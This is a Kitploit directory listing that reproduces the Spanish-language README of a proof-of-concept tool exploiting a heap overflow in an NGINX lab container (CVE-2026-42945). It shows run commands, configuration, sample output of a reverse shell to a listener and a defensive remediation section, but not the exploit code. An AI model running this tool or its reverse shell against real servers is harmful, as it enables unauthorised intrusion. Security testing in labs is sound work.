Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónRed TeamingExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

Automatiza la explotación de CVE-2026-42945 en contenedores NGINX: verifica objetivos vulnerables, realiza fuerza bruta sobre offsets de heap, ejecuta comandos y abre una shell inversa interactiva.

Ver Repositorio
19hace 26 díasAún no revisado

🚀 NGINX Rift PoC Automation — CVE-2026-42945

Controlador de automatización de PoC para explotación RCE del contenedor nginx-rift · Verificación del objetivo → Exploit de comando único → Reverse shell interactiva

Shell Python Platform License

Un solo comando orquesta todo el flujo del exploit: desde comprobar el contenedor hasta obtener la shell.


⚠️ Advertencia ética y legal Esta herramienta solo está destinada a pruebas de seguridad legítimas y autorizadas — pentest por contrato, laboratorio/CTF o activos propios. El uso sin permiso del propietario del sistema es un delito (UU ITE, Computer Fraud and Abuse Act, etc.). El usuario es plenamente responsable de su uso.


📖 Resumen de la vulnerabilidad

CVE-2026-42945 es una vulnerabilidad de ejecución remota de código (RCE) en la configuración NGINX «Rift» — un desbordamiento de búfer basado en heap en el módulo ngx_http_rewrite_module que se desencadena a través de una location block concreta (/api/users/...). El impacto es que un atacante puede ejecutar comandos mediante el handler system() dentro del contenedor.

Este repositorio contiene 2 componentes:

ArchivoFunción
poc.pyControlador de exploit — fuerza bruta del offset de heap, dos modos: --cmd (comando único) y --shell (reverse shell)
scan.sh

🏗 Flujo de trabajo

root@kitploit:~
┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ Requisitos del sistema

Operador (host donde se ejecuta el script):

  • Linux (bash) — probado en Kali / Ubuntu / Debian
  • docker (con sudo o usuario en el grupo docker)
  • python3 + poc.py (en el mismo directorio que scan.sh)
  • curl, nc (netcat), timeout (coreutils)

Objetivo (laboratorio):

  • Contenedor nginx-rift levantado (aprovisionado mediante docker compose)
  • Puerto host 19321 abierto en 127.0.0.1
  • Contenedor conectado al bridge de Docker (por defecto 172.17.0.1 para el listener del host)

📥 Instalación

root@kitploit:~
# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh y poc.py deben estar en el mismo directorio.


🚀 Modo de uso

root@kitploit:~
./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Modo auto (predeterminado)

  1. Preflight — verificar todas las dependencias.
  2. Verificación del objetivo — ¿contenedor levantado? ¿HTTP 200?
  3. PoC --cmd — escribe el marcador hello from depthfirst en /tmp/pwned dentro del contenedor (reintento automático máx. 3×, tiempo límite de 300s/intento).
  4. Verificación del resultado — docker exec cat /tmp/pwned debe contener el marcador (ground-truth, no basta con leer la salida).
  5. Pregunta ¿continuar con reverse shell? → y para la sesión interactiva.

Modo shell

root@kitploit:~
./scan.sh shell

Ejecuta poc.py --shell con el listener 172.17.0.1:1337. Una vez que el brute-force se completa con éxito, obtienes un prompt /bin/sh interactivo como usuario worker de NGINX dentro del contenedor.

Nota: La IP 172.17.0.1 es la dirección del host en el bridge predeterminado de Docker. Si tu bridge es diferente (docker network inspect bridge), cambia la variable LISTEN_IP en la parte superior de scan.sh.


🔧 Configuración ajustable

Todos los parámetros se agrupan en el bloque de configuración superior de scan.sh:


📸 Ejemplo de salida

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Solución de problemas


🛡 Remediación (para Blue Team)

  1. Parchear NGINX — actualizar a una versión que corrija ngx_http_rewrite_module / eliminar la configuración Rift.
  2. Limitar la exposición — no exponer el puerto del contenedor a 0.0.0.0; usar red interna + proxy inverso con WAF.
  3. Mínimo privilegio — ejecutar el worker de NGINX sin privilegios adicionales; no levantar el contenedor con --privileged.
  4. Monitoreo — alertar ante peticiones extrañas a /api/users/ (patrones no numéricos, payloads largos); detectar la aparición de /bin/sh desde procesos de nginx.
  5. Segmentación de red — separar el bridge del contenedor del host; limitar el egress del contenedor para dificultar la reverse shell.

📁 Estructura del repositorio

root@kitploit:~
CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py      # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md   # Dokumentasi ini

⚖️ Aviso legal y licencia

Solo para uso legítimo. Esta herramienta está destinada a:

  • Pruebas de penetración profesionales (contrato por escrito)
  • Investigación de seguridad y divulgación responsable
  • Entornos de laboratorio / CTF

Debes contar con autorización por escrito del propietario del sistema antes de ejecutar esta herramienta en cualquier infraestructura.

El repositorio se proporciona «tal cual» sin ninguna garantía. Los colaboradores no se responsabilizan del mal uso.

Licencia: MIT


📚 Referencias

  • CVE-2026-42945 — NVD / MITRE
  • NGINX ngx_http_rewrite_module — documentación oficial
  • Docker Compose — documentación
Descargar herramienta
ElementoDetalle
CVECVE-2026-42945
TipoEjecución remota de código (RCE)
ComponenteNGINX (ngx_http_rewrite_module) — configuración «Rift»
DesencadenantePetición a una location block vulnerable (/api/users/{id})
ImpactoEjecución de comandos arbitrarios como usuario worker de NGINX dentro del contenedor
Configuración del laboratorioContenedor nginx-rift-nginx-1 — puerto host 19321
Orquestador de automatización — verificación del objetivo, ejecución del PoC, verificación del resultado y sesión de shell interactiva
VariableValor por defectoFunción
DOCKERsudo dockerReemplaza docker si el usuario ya está en el grupo docker
PROJECT_LABELcom.docker.compose.project=nginx-riftFiltro de identificación del contenedor
CONTAINERnginx-rift-nginx-1Nombre del contenedor objetivo
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321Dirección del objetivo
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337Listener de reverse shell
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirstVerificación de la ejecución
CMD_TIMEOUT300Tiempo límite por intento (segundos)
MAX_ATTEMPTS3Número de reintentos del PoC --cmd
ProblemaSolución
Container ... tidak berjalancd <project-dir> && sudo docker compose up -d, y repite
HTTP 000 / connection refusedEl puerto 19321 aún no está listo: espera unos segundos, revisa docker ps
File 'poc.py' tidak ditemukanEjecuta scan.sh desde el directorio del repositorio (poc.py debe estar en el mismo directorio)
El PoC --cmd falla reiteradamente (3×)Aumenta MAX_ATTEMPTS / CMD_TIMEOUT; asegúrate de que el kernel y la versión de NGINX coinciden con el laboratorio
La reverse shell no conectaComprueba que LISTEN_IP corresponde al bridge (docker network inspect bridge); asegúrate de que el puerto 1337 no esté en uso
Error unrecognized argumentsAsegúrate de que la versión de poc.py soporta las flags --listen-ip/--listen-port (ver python3 poc.py -h)